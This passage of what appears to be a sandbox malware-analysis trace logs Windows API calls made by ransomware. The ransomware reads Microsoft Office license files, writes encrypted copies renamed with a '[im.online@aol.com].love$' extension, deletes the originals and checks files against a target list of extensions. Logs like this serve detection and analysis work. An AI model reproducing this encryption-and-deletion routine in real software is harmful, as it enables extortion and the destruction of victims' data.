dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0263.693] GetLastError () returned 0x0 [0263.693] ReadFile (in: hFile=0x45c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x564e, lpOverlapped=0x0) returned 1 [0263.697] WriteFile (in: hFile=0x3f4, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x5650, lpOverlapped=0x0) returned 1 [0263.701] ReadFile (in: hFile=0x45c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0263.701] WriteFile (in: hFile=0x3f4, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x118, lpOverlapped=0x0) returned 1 [0263.701] SetEndOfFile (hFile=0x3f4) returned 1 [0263.702] CloseHandle (hObject=0x3f4) returned 1 [0263.702] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0263.702] SetEndOfFile (hFile=0x45c) returned 1 [0263.707] CloseHandle (hObject=0x45c) returned 1 [0263.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.709] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ppd.xrm-ms")) returned 1 [0263.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0263.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0263.710] lstrlenW (lpString=".doc") returned 4 [0263.711] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.711] lstrlenW (lpString=".docx") returned 5 [0263.711] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.711] lstrlenW (lpString=".pdf") returned 4 [0263.711] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.711] lstrlenW (lpString=".xls") returned 4 [0263.711] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.711] lstrlenW (lpString=".xlsx") returned 5 [0263.711] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.711] lstrlenW (lpString=".ppt") returned 4 [0263.711] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0263.711] lstrlenW (lpString=".zip") returned 4 [0263.711] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.711] lstrlenW (lpString=".rar") returned 4 [0263.711] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.712] lstrlenW (lpString=".bz2") returned 4 [0263.712] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.712] lstrlenW (lpString=".7z") returned 3 [0263.712] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0263.712] lstrlenW (lpString=".dbf") returned 4 [0263.712] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0263.712] lstrlenW (lpString=".1cd") returned 4 [0263.712] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0263.712] lstrlenW (lpString=".jpg") returned 4 [0263.712] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0263.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0263.712] lstrlenW (lpString=".doc") returned 4 [0263.712] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0263.712] lstrlenW (lpString=".docx") returned 5 [0263.712] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0263.712] lstrlenW (lpString=".pdf") returned 4 [0263.712] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0263.712] lstrlenW (lpString=".xls") returned 4 [0263.712] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0263.712] lstrlenW (lpString=".xlsx") returned 5 [0263.713] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0263.713] lstrlenW (lpString=".ppt") returned 4 [0263.713] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0263.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0263.713] lstrlenW (lpString=".zip") returned 4 [0263.713] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0263.713] lstrlenW (lpString=".rar") returned 4 [0263.713] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0263.713] lstrlenW (lpString=".bz2") returned 4 [0263.713] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0263.713] lstrlenW (lpString=".7z") returned 3 [0263.713] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0263.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0263.713] lstrlenW (lpString=".dbf") returned 4 [0263.713] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0263.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0263.713] lstrlenW (lpString=".1cd") returned 4 [0263.713] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0263.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned 84 [0263.713] lstrlenW (lpString=".jpg") returned 4 [0263.713] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0263.714] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0263.714] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 37 [0263.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0264.635] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11621) returned 1 [0264.635] CloseHandle (hObject=0x45c) returned 1 [0264.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 0x220 [0264.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0264.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0264.636] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.636] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0264.683] GetLastError () returned 0x0 [0264.683] ReadFile (in: hFile=0x45c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2d65, lpOverlapped=0x0) returned 1 [0264.786] WriteFile (in: hFile=0x580, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0264.788] ReadFile (in: hFile=0x45c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0264.788] WriteFile (in: hFile=0x580, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11e, lpOverlapped=0x0) returned 1 [0264.789] SetEndOfFile (hFile=0x580) returned 1 [0264.804] CloseHandle (hObject=0x580) returned 1 [0264.805] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0264.805] SetEndOfFile (hFile=0x45c) returned 1 [0265.247] CloseHandle (hObject=0x45c) returned 1 [0265.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-oob.xrm-ms")) returned 1 [0265.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0265.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0265.250] lstrlenW (lpString=".doc") returned 4 [0265.251] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.251] lstrlenW (lpString=".docx") returned 5 [0265.251] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.251] lstrlenW (lpString=".pdf") returned 4 [0265.251] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.251] lstrlenW (lpString=".xls") returned 4 [0265.251] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.251] lstrlenW (lpString=".xlsx") returned 5 [0265.251] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.251] lstrlenW (lpString=".ppt") returned 4 [0265.251] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0265.251] lstrlenW (lpString=".zip") returned 4 [0265.251] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.251] lstrlenW (lpString=".rar") returned 4 [0265.251] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.251] lstrlenW (lpString=".bz2") returned 4 [0265.251] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.251] lstrlenW (lpString=".7z") returned 3 [0265.251] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0265.252] lstrlenW (lpString=".dbf") returned 4 [0265.252] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0265.252] lstrlenW (lpString=".1cd") returned 4 [0265.252] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0265.252] lstrlenW (lpString=".jpg") returned 4 [0265.252] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0265.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0265.252] lstrlenW (lpString=".doc") returned 4 [0265.252] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.252] lstrlenW (lpString=".docx") returned 5 [0265.252] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.252] lstrlenW (lpString=".pdf") returned 4 [0265.252] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.252] lstrlenW (lpString=".xls") returned 4 [0265.252] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.252] lstrlenW (lpString=".xlsx") returned 5 [0265.252] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.252] lstrlenW (lpString=".ppt") returned 4 [0265.252] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0265.253] lstrlenW (lpString=".zip") returned 4 [0265.253] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.253] lstrlenW (lpString=".rar") returned 4 [0265.253] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.253] lstrlenW (lpString=".bz2") returned 4 [0265.253] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.253] lstrlenW (lpString=".7z") returned 3 [0265.253] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0265.253] lstrlenW (lpString=".dbf") returned 4 [0265.253] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0265.253] lstrlenW (lpString=".1cd") returned 4 [0265.253] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87 [0265.253] lstrlenW (lpString=".jpg") returned 4 [0265.253] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.254] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0265.254] lstrlenW (lpString="HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 35 [0265.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0265.255] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11613) returned 1 [0265.255] CloseHandle (hObject=0x45c) returned 1 [0265.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 0x220 [0265.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0265.257] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.257] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0265.259] GetLastError () returned 0x0 [0265.259] ReadFile (in: hFile=0x45c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2d5d, lpOverlapped=0x0) returned 1 [0265.262] WriteFile (in: hFile=0x568, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0265.264] ReadFile (in: hFile=0x45c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0265.264] WriteFile (in: hFile=0x568, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11a, lpOverlapped=0x0) returned 1 [0265.264] SetEndOfFile (hFile=0x568) returned 1 [0265.264] CloseHandle (hObject=0x568) returned 1 [0265.265] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.265] SetEndOfFile (hFile=0x45c) returned 1 [0265.270] CloseHandle (hObject=0x45c) returned 1 [0265.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 1 [0265.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0265.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0265.274] lstrlenW (lpString=".doc") returned 4 [0265.274] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.274] lstrlenW (lpString=".docx") returned 5 [0265.274] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.274] lstrlenW (lpString=".pdf") returned 4 [0265.274] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.274] lstrlenW (lpString=".xls") returned 4 [0265.274] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.274] lstrlenW (lpString=".xlsx") returned 5 [0265.274] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.274] lstrlenW (lpString=".ppt") returned 4 [0265.274] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0265.274] lstrlenW (lpString=".zip") returned 4 [0265.274] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.274] lstrlenW (lpString=".rar") returned 4 [0265.274] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.274] lstrlenW (lpString=".bz2") returned 4 [0265.274] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.274] lstrlenW (lpString=".7z") returned 3 [0265.275] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0265.275] lstrlenW (lpString=".dbf") returned 4 [0265.275] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0265.275] lstrlenW (lpString=".1cd") returned 4 [0265.275] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0265.275] lstrlenW (lpString=".jpg") returned 4 [0265.275] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0265.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0265.276] lstrlenW (lpString=".doc") returned 4 [0265.276] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.276] lstrlenW (lpString=".docx") returned 5 [0265.276] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.276] lstrlenW (lpString=".pdf") returned 4 [0265.276] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.276] lstrlenW (lpString=".xls") returned 4 [0265.276] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.276] lstrlenW (lpString=".xlsx") returned 5 [0265.276] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.276] lstrlenW (lpString=".ppt") returned 4 [0265.276] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0265.276] lstrlenW (lpString=".zip") returned 4 [0265.276] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.276] lstrlenW (lpString=".rar") returned 4 [0265.276] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.276] lstrlenW (lpString=".bz2") returned 4 [0265.276] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.276] lstrlenW (lpString=".7z") returned 3 [0265.277] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0265.277] lstrlenW (lpString=".dbf") returned 4 [0265.277] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0265.277] lstrlenW (lpString=".1cd") returned 4 [0265.277] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0265.277] lstrlenW (lpString=".jpg") returned 4 [0265.277] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.277] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0265.277] lstrlenW (lpString="HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 35 [0265.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0265.279] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=19958) returned 1 [0265.279] CloseHandle (hObject=0x45c) returned 1 [0265.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 0x220 [0265.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 